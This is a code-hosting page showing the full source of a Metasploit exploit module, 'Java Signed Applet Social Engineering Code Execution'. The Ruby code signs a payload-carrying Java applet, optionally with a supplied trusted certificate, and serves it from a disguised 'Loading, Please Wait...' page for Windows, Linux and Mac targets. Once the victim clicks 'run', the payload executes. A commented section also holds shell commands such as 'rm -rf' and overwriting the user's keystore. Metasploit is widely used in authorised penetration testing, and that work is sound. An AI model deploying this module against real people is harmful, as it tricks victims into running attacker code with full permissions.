Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/browser/java_signed_applet.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex/zip'67class MetasploitModule < Msf::Exploit::Remote8Rank = ExcellentRanking910include Msf::Exploit::Remote::HttpServer::HTML11include Msf::Exploit::EXE1213def initialize( info = {} )14super( update_info( info,15'Name' => 'Java Signed Applet Social Engineering Code Execution',16'Description' => %q{17This exploit dynamically creates a .jar file via the18Msf::Exploit::Java mixin, then signs the it. The resulting19signed applet is presented to the victim via a web page with20an applet tag. The victim's JVM will pop a dialog asking if21they trust the signed applet.2223On older versions the dialog will display the value of CERTCN24in the "Publisher" line. Newer JVMs display "UNKNOWN" when the25signature is not trusted (i.e., it's not signed by a trusted26CA). The SigningCert option allows you to provide a trusted27code signing cert, the values in which will override CERTCN.28If SigningCert is not given, a randomly generated self-signed29cert will be used.3031Either way, once the user clicks "run", the applet executes32with full user permissions.33},34'License' => MSF_LICENSE,35'Author' => [ 'natron' ],36'References' =>37[38[ 'URL', 'http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf' ]39],40'Platform' => %w{ java linux osx solaris win },41'Payload' => { 'BadChars' => '', 'DisableNops' => true },42'Targets' =>43[44[ 'Generic (Java Payload)',45{46'Platform' => ['java'],47'Arch' => ARCH_JAVA48}49],50[ 'Windows x86 (Native Payload)',51{52'Platform' => 'win',53'Arch' => ARCH_X86,54}55],56[ 'Linux x86 (Native Payload)',57{58'Platform' => 'linux',59'Arch' => ARCH_X86,60}61],62[ 'Mac OS X PPC (Native Payload)',63{64'Platform' => 'osx',65'Arch' => ARCH_PPC,66}67],68[ 'Mac OS X x86 (Native Payload)',69{70'Platform' => 'osx',71'Arch' => ARCH_X86,72}73]74],75'DefaultTarget' => 1,76'DisclosureDate' => '1997-02-19'77))7879register_options( [80OptString.new('CERTCN', [ true,81"The CN= value for the certificate. Cannot contain ',' or '/'",82"SiteLoader"83]),84OptString.new('APPLETNAME', [ true,85"The main applet's class name.",86"SiteLoader"87]),88OptPath.new('SigningCert', [ false,89"Path to a signing certificate in PEM or PKCS12 (.pfx) format"90]),91OptPath.new('SigningKey', [ false,92"Path to a signing key in PEM format"93]),94OptString.new('SigningKeyPass', [ false,95"Password for signing key (required if SigningCert is a .pfx)"96]),97])98end99100101def setup102load_cert103load_applet_class104super105end106107108def on_request_uri( cli, request )109if not request.uri.match(/\.jar$/i)110if not request.uri.match(/\/$/)111send_redirect( cli, get_resource() + '/', '')112return113end114115print_status( "Handling request" )116117send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )118return119end120121p = regenerate_payload(cli)122if not p123print_error("Failed to generate the payload.")124# Send them a 404 so the browser doesn't hang waiting for data125# that will never come.126send_not_found(cli)127return128end129130# If we haven't returned yet, then this is a request for our applet131# jar, build one for this victim.132jar = p.encoded_jar(:random => true)133134jar.add_file("#{datastore["APPLETNAME"]}.class", @applet_class)135136jar.build_manifest(:main_class => "metasploit.Payload", :app_name => "#{datastore["APPLETNAME"]}")137138jar.sign(@key, @cert, @ca_certs)139#File.open("payload.jar", "wb") { |f| f.write(jar.to_s) }140141print_status("Sending #{datastore['APPLETNAME']}.jar. Waiting for user to click 'accept'...")142send_response( cli, jar.to_s, { 'Content-Type' => "application/octet-stream" } )143144handler( cli )145146end147148149def load_applet_class150data_dir = File.join(Msf::Config.data_directory, "exploits", self.shortname)151if datastore["APPLETNAME"]152unless datastore["APPLETNAME"] =~ /^[a-zA-Z_$]+[a-zA-Z0-9_$]*$/153fail_with(Failure::BadConfig, "APPLETNAME must conform to rules of Java identifiers (alphanum, _ and $, must not start with a number)")154end155siteloader = File.open(File.join(data_dir, "SiteLoader.class"), "rb") {|fd| fd.read(fd.stat.size) }156# Java strings are prefixed with a 2-byte, big endian length157find_me = ["SiteLoader".length].pack("n") + "SiteLoader"158idx = siteloader.index(find_me)159len = [datastore["APPLETNAME"].length].pack("n")160# Now replace it with the new class name161siteloader[idx, "SiteLoader".length+2] = len + datastore["APPLETNAME"]162else163# Don't need to replace anything, just read it in164siteloader = File.open(File.join(data_dir, "SiteLoader.class"), "rb") {|fd| fd.read(fd.stat.size) }165end166@applet_class = siteloader167end168169170def load_cert171if datastore["SigningCert"]172cert_str = File.open(datastore["SigningCert"], "rb") {|fd| fd.read(fd.stat.size) }173begin174pfx = OpenSSL::PKCS12.new(cert_str, datastore["SigningKeyPass"])175@cert = pfx.certificate176@key = pfx.key177@ca_certs = pfx.ca_certs178179rescue OpenSSL::PKCS12::PKCS12Error180# it wasn't pkcs12, try it as concatenated PEMs181certs = cert_str.scan(/-+BEGIN CERTIFICATE.*?END CERTIFICATE-+/m)182@cert = OpenSSL::X509::Certificate.new(certs.shift)183@ca_certs = nil184while certs.length > 0185@ca_certs ||= []186@ca_certs << OpenSSL::X509::Certificate.new(certs.shift)187end188189if datastore["SigningKey"] and File.file?(datastore["SigningKey"])190key_str = File.open(datastore["SigningKey"], "rb") {|fd| fd.read(fd.stat.size) }191else192key_str = cert_str193end194195# First try it as RSA and fallback to DSA if that doesn't work196begin197@key = OpenSSL::PKey::RSA.new(cert_str, datastore["SigningKeyPass"])198rescue OpenSSL::PKey::RSAError => e199@key = OpenSSL::PKey::DSA.new(cert_str, datastore["SigningKeyPass"])200end201end202else203# Name.parse uses a simple regex that isn't smart enough to allow204# slashes or commas in values, just remove them.205certcn = datastore["CERTCN"].gsub(%r|[/,]|, "")206x509_name = OpenSSL::X509::Name.parse(207"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=#{certcn}"208)209210@key = OpenSSL::PKey::DSA.new(1024)211@cert = OpenSSL::X509::Certificate.new212@cert.version = 2213@cert.serial = 1214@cert.subject = x509_name215@cert.issuer = x509_name216@cert.public_key = @key.public_key217@cert.not_before = Time.now218# FIXME: this will break in the year 2037 on 32-bit systems219@cert.not_after = @cert.not_before + 3600 * 24 * 365 # 1 year220end221end222223224def generate_html225html = %Q|<html><head><title>Loading, Please Wait...</title></head>\n|226html << %Q|<body><center><p>Loading, Please Wait...</p></center>\n|227html << %Q|<applet archive="#{get_resource.sub(%r|/$|, '')}/#{datastore["APPLETNAME"]}.jar"\n|228vprint_line(html)229if @use_static230html << %Q| code="SiteLoader" width="1" height="1">\n|231else232html << %Q| code="#{datastore["APPLETNAME"]}" width="1" height="1">\n|233end234html << %Q|</applet>\n</body></html>|235return html236end237238239# Currently unused until we ship a java compiler of some sort240def applet_code241applet = <<-EOS242import java.applet.*;243import metasploit.*;244245public class #{datastore["APPLETNAME"]} extends Applet {246public void init() {247try {248Payload.main(null);249} catch (Exception ex) {250//ex.printStackTrace();251}252}253}254EOS255end256end257258=begin259260The following stores a bunch of intermediate files on the path to creating the signature. The261ImportKey class used for testing was obtained from:262http://www.agentbob.info/agentbob/79-AB.html263264system("rm -rf signed_jar/*")265File.open("signed_jar/cert.pem", "wb") { |f| f.write(@cert.to_s + @key.to_s) }266File.open("signed_jar/key.pem", "wb") { |f| f.write(@key.to_s + @key.public_key.to_s) }267File.open("signed_jar/unsigned.jar", "wb") { |f| f.write jar.to_s }268269File.open("signed_jar/jarsigner-signed.jar", "wb") { |f| f.write jar.to_s }270system("openssl x509 -in signed_jar/cert.pem -inform PEM -out signed_jar/cert.der -outform DER")271system("openssl pkcs8 -topk8 -nocrypt -in signed_jar/key.pem -inform PEM -out signed_jar/key.der -outform DER")272system("java -cp . ImportKey signed_jar/key.der signed_jar/cert.der")273system("mv ~/keystore.ImportKey ~/.keystore")274system("jarsigner -storepass importkey signed_jar/jarsigner-signed.jar importkey")275276jar.sign(@key, @cert)277File.open("signed_jar/signed.jar", "wb") { |f| f.write jar.to_s }278279=end280281282